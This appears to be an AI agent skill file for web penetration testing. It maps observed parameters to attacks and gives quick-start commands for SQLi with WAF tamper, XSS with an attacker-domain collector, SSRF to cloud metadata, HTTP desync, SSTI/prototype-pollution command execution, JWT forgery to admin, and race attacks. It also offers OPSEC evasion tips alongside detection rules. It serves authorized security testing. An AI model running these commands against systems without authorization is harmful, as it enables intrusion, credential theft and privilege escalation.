1---2name: web-pentest3description: Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race4---5
6# Web Application Penetration Testing
7
8## When to Activate
9
10- Web application security assessment (black/grey/white box)
11- API security testing (REST, GraphQL, WebSocket)
12- Authentication & session management testing (JWT, OAuth/OIDC, SAML)
13- Business-logic and race-condition hunting
14- WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
15- Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud
16 metadata, prototype-pollution->RCE, SSTI sandbox escapes
17
18## Input-Signal Routing (what to test when you see X)
19
20Fast test selection — map an observed parameter/behavior to the right deep-dive:
21
22| Input signal you observe | Test for | Go to |
23|--------------------------|----------|-------|
24| `id`, `uid`, `order_id`, `account`, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |
25| `url`, `next`, `callback`, `dest`, `webhook`, `image_url` | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |
26| `price`, `qty`, `coupon`, `balance`, `status`, state change | business logic + single-packet race | references/http-desync-cache.md (race) |
27| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |
28| search/filter/sort reflected; `q=`, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |
29| `token`, `jwt`, `Authorization`, `Cookie`, OAuth `state` | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |
30| serialized blob / base64 object / `__proto__` | deserialization, prototype pollution | references/ssti-deserialization.md |
31| behind CDN/cache; `X-Forwarded-*`; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |
32
33## Technique Map
34
35| Technique | ATT&CK | CWE | Reference | Script |
36|-----------|--------|-----|-----------|--------|
37| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |
38| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |
39| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
40| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
41| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
42| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |
43| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |
44| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |
45| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |
46| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
47| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
48| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |
49| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |
50| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |
51| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |
52| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |
53| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |
54
55## Quick Start
56
57```bash
58# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
59# Spider + content discovery
60ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
61nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig
62
63# 1. Injection — automated SQLi, manual cmdi
64sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment
65
66# 2. XSS / CSP
67python3 scripts/xss_csp_forge.py contexts --collector atk.tld
68python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"
69
70# 3. SSRF -> cloud metadata
71python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
72python3 scripts/ssrf_toolkit.py cloud --provider aws
73
74# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
75python3 scripts/desync_probe.py https://t --probe all --verbose
76
77# 5. SSTI / prototype pollution / deserialization
78python3 scripts/proto_ssti_gadgets.py detect
79python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
80python3 scripts/proto_ssti_gadgets.py proto --cmd "id"
81
82# 6. Auth & API
83python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
84python3 scripts/graphql_audit.py introspect https://t/graphql
85
86# 7. Logic / race
87python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."
88
89# -> feed each confirmed issue into templates/exploit/findings/ with
90# severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.
91```
92
93## OPSEC & Detection (summary)
94
95| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note |
96|-----------|-----------------|------------------------|------------|
97| SQLi / cmdi | SQL keywords, `SLEEP/WAITFOR`, web-svc spawning `sh/curl` | webserver regex Sigma; EDR child-shell from `www-data` | time-based is slow+noisy; `--random-agent --delay`, in-band reads first |
98| XSS / CSP / client-PP | `<script`, `onerror=`, `__proto__` in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent `__proto__` can break shared cached pages — avoid |
99| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |
100| HTTP desync / cache | CL+TE together, obs-fold, `Expect` on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |
101| SSTI / PP / deser | `{{ }}`/`${ }`, `NODE_OPTIONS`, `rO0AB`, JNDI egress | webserver/body Sigma; EDR `java`->LDAP/RMI | `id` probe first; reverse shells trip EDR; revert polluted config |
102| JWT / OAuth / GraphQL | `alg:none`, unknown `jku`/`kid`, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |
103| Race (single-packet) | burst of near-simultaneous mutating requests | rate-by-endpoint Sigma in 1s window | keep `-n` low; document state mutated for cleanup |
104
105## Deep Dives
106
107- references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command
108 & argument injection, sqlmap tamper workflow, modern WAF/Unicode evasion.
109- references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +
110 script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.
111- references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,
112 AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,
113 2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).
114- references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &
115 CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception
116 ("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.
117- references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes
118 (CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,
119 NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.
120- references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL
121 batch/alias/depth abuse, IDOR/BOLA/mass assignment, business logic, and the
122 HTTP/2 single-packet race attack.
123- references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for
124 ground-truth traffic + replay-with-auth, with mandatory header redaction
125 (`redact_headers.py`) at the data boundary.